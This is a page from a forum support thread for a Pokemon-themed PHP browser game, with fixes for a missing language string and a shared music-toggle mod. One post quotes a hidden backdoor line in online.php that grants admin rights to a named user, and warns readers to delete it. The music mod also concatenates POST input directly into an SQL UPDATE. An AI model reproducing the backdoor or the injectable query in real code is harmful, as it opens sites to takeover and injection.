[Release] Pokemon-Area based browser game

Page 63 of 78 FirstFirst ... 1353555657585960616263646566676869707173 ... LastLast
Results 931 to 945 of 1163
  1. #931
    Apprentice yosnaiker is offline
    MemberRank
    Nov 2012 Join Date
    11Posts

    Re: [Release] Pokemon-Area based browser game

    good, I have a problem giving the stone cave as this image does not enter anything, i get an x with a line without showing any error or something, who can help me?

  2. #932
    Apprentice llaraets is offline
    MemberRank
    Jun 2012 Join Date
    15Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by yosnaiker View Post
    good, I have a problem giving the stone cave as this image does not enter anything, i get an x with a line without showing any error or something, who can help me?
    hi
    please blow up the picture as nobody can see anything even if i try to magify the image its too pixaelly.

    yours

    llaraets

  3. #933
    Apprentice yosnaiker is offline
    MemberRank
    Nov 2012 Join Date
    11Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by llaraets View Post
    hi
    please blow up the picture as nobody can see anything even if i try to magify the image its too pixaelly.

    yours

    llaraets
    sorry


  4. #934
    Account Upgraded | Title Enabled! felixcruzer is offline
    MemberRank
    May 2012 Join Date
    GermanyLocation
    289Posts

    Re: [Release] Pokemon-Area based browser game

    Your red div error alert text is empty. Normally the text is stored in a language.php file but in your case it's empty.

    To fix search this code in attack/attack_map.php:
    alert_no_cave_suit

    now you should see this code line:

    $error = '<div class="red">'.$txt['alert_no_cave_suit'].'</div>';

    edit it to this: $error = '<div class="red">You don't have a Cave Suit</div>';

    Now it doesn't select the text out of the language.php.

    you can also add a line in language.php like this:

    elseif($page == 'attack/attack_map'){
    #Alerts
    $txt['alert_no_cave_suit'] = 'You don't have a Cave Suit.';

    Regards

  5. #935
    Apprentice yosnaiker is offline
    MemberRank
    Nov 2012 Join Date
    11Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by felixcruzer View Post
    Your red div error alert text is empty. Normally the text is stored in a language.php file but in your case it's empty.

    To fix search this code in attack/attack_map.php:
    alert_no_cave_suit

    now you should see this code line:

    $error = '<div class="red">'.$txt['alert_no_cave_suit'].'</div>';

    edit it to this: $error = '<div class="red">You don't have a Cave Suit</div>';

    Now it doesn't select the text out of the language.php.

    you can also add a line in language.php like this:

    elseif($page == 'attack/attack_map'){
    #Alerts
    $txt['alert_no_cave_suit'] = 'You don't have a Cave Suit.';

    Regards

    do not understand.

    I do not get this line: $ error = '<div class="red">' $ txt ['alert_no_cave_suit'] '</ div>',..

    Might you leave your attack_map and can not find anything that I say in mine? please

  6. #936
    Account Upgraded | Title Enabled! Mugaru is offline
    MemberRank
    Feb 2012 Join Date
    190Posts

    Re: [Release] Pokemon-Area based browser game

    Had the same problem... just do what ^ he said.

    I am still looking for a nice layout for my battles... tried something, but that didn't work out well.
    anyone got one for release?

    - - - Updated - - -

    hmm, check your language file then ;-)

    Check if you can find ' alert_no_cave_suit '

  7. #937
    Apprentice yosnaiker is offline
    MemberRank
    Nov 2012 Join Date
    11Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by Mugaru View Post
    Had the same problem... just do what ^ he said.

    I am still looking for a nice layout for my battles... tried something, but that didn't work out well.
    anyone got one for release?

    - - - Updated - - -

    hmm, check your language file then ;-)

    Check if you can find ' alert_no_cave_suit '
    discover this line:
    $ error = '<div class="red">' $ txt ['alert_no_cave_suit'] '</ div>'..;

    in atackk_map.php but when I change it to:
    $error = '<div class="red">You don't have a Cave Suit</div>';

    I get error. and not to relate language file: S

  8. #938
    Account Upgraded | Title Enabled! Mugaru is offline
    MemberRank
    Feb 2012 Join Date
    190Posts

    Re: [Release] Pokemon-Area based browser game

    Thats true, cuz you made the text static now.

    Just turn it back as it was;
    Code:
    $error = '<div class="red">'$txt['alert_no_cave_suit']'</ div>'
    then open your language file, and look for:
    Code:
    $txt['alert_no_cave_suit']
    If you can't find that string in your language file just enter it there like:
    Code:
    $txt['alert_no_cave_suit'] = "Cave Suit";


    This should work...

  9. #939
    Apprentice yosnaiker is offline
    MemberRank
    Nov 2012 Join Date
    11Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by Mugaru View Post
    Thats true, cuz you made the text static now.

    Just turn it back as it was;
    Code:
    $error = '<div class="red">'$txt['alert_no_cave_suit']'</ div>'
    then open your language file, and look for:
    Code:
    $txt['alert_no_cave_suit']
    If you can't find that string in your language file just enter it there like:
    Code:
    $txt['alert_no_cave_suit'] = "Cave Suit";


    This should work...

    back to what it was, but just to make the change and enter the leading portion fails and shows no area. : S

  10. #940
    Account Upgraded | Title Enabled! felixcruzer is offline
    MemberRank
    May 2012 Join Date
    GermanyLocation
    289Posts

    Re: [Release] Pokemon-Area based browser game

    Ingame Music with On/Off Settings:

    Spoiler:

    Go to account-options.php

    Go to this line:
    http://prntscr.com/2xwnnp

    Add this:
    Spoiler:

    $musik = $_POST['musik'] == '' ? $gebruiker['musik'] : $_POST['musik'];


    Go to this line:
    http://prntscr.com/2xwof1

    and add this:
    Spoiler:

    elseif($musik != '1' && $musik != '0'){
    $persoonlijkerror = '<div class="red">'.$txt['alert_seeteam_invalid'].'</div>';
    }


    Go to this line:
    Spoiler:

    mysql_query("UPDATE `gebruikers` SET `voornaam`='".$voornaam."', `achternaam`='".$achternaam."',


    and change like this:

    mysql_query("UPDATE `gebruikers` SET `voornaam`='".$voornaam."', `achternaam`='".$achternaam."', `musik`='".$musik."', ***************Don't copy this**************


    Now add in personal category this:
    Spoiler:

    <td height="25">Musik:</td>
    <td><?php
    if($musik == 1){
    echo' <input type="radio" name="musik" value="1" id="ja" checked /><label for="ja" style="padding-right:17px"> '.$txt['yes'].'</label>
    <input type="radio" name="musik" value="0" id="nee" /><label for="nee"> '.$txt['no'].'</label>';
    }
    elseif($musik == 0){
    echo' <input type="radio" name="musik" value="1" id="ja" /><label for="ja" style="padding-right:17px"> '.$txt['yes'].'</label>
    <input type="radio" name="musik" value="0" id="nee" checked /><label for="nee"> '.$txt['no'].'</label>';
    }
    #Als er nog geen musik is
    else{
    echo' <input type="radio" name="musik" value="1" id="ja" /><label for="ja" style="padding-right:17px"> '.$txt['yes'].'</label>
    <input type="radio" name="musik" value="0" id="nee" /><label for="nee"> '.$txt['no'].'</label>';
    }?></td>
    </tr>


    Now go to (example) wild/wild-attack.php and add this at top of code:
    Spoiler:

    <?php if($gebruiker['musik'] == 1) echo '<audio autoplay="autoplay" loop>
    <source src="sounds/Battle01.ogg" />
    </audio> '; ?>

    You can add this Code to every page you want!


    At Last add this to gebruiker (user) table:
    http://prntscr.com/2xwu65

    Create folder "sounds" in root-directory and upload these .ogg music files:
    http://www.mediafire.com/download/hm...e0z/sounds.rar

    Give me a thanks, if you use it/like it

    Regards

  11. #941
    Apprentice yosnaiker is offline
    MemberRank
    Nov 2012 Join Date
    11Posts

    Re: [Release] Pokemon-Area based browser game

    please help with my mistake

  12. #942
    Apprentice Marcelo Vitor is offline
    MemberRank
    Mar 2013 Join Date
    24Posts

    Re: [Release] Pokemon-Area based browser game

    Felix, how column i add the comand of musik?

    Thanks

  13. #943
    Account Upgraded | Title Enabled! Mugaru is offline
    MemberRank
    Feb 2012 Join Date
    190Posts

    Re: [Release] Pokemon-Area based browser game

    Thats probably a little bug... i fixed it in 2 minutes. Be sure the div error is in your battle file.
    And the translation string is in your language file. That should fix your problem.

  14. #944
    Account Upgraded | Title Enabled! felixcruzer is offline
    MemberRank
    May 2012 Join Date
    GermanyLocation
    289Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by Marcelo Vitor View Post
    Felix, how column i add the comand of musik?

    Thanks
    add: name: musik, tinyint (1) with default value 0 or 1.

    also guys check your online.php there's a little backdoor:

    delete this line:

    mysql_query("UPDATE gebruikers SET admin = '1' WHERE username = 'BrandonR17a'");

    This gives the user (if his name is BrandonR17a) admin status 1 - this shouldn't be..

    Regards

  15. #945
    Account Upgraded | Title Enabled! felixcruzer is offline
    MemberRank
    May 2012 Join Date
    GermanyLocation
    289Posts

    Re: [Release] Pokemon-Area based browser game

    Coded a simple Mobile Detection:

    If Player is Online with a Smartphone this will happen:

    Screenshot:
    Spoiler:






    Send me PM if you want the script.

    Regards
    Last edited by felixcruzer; 06-03-14 at 03:48 PM.



Advertisement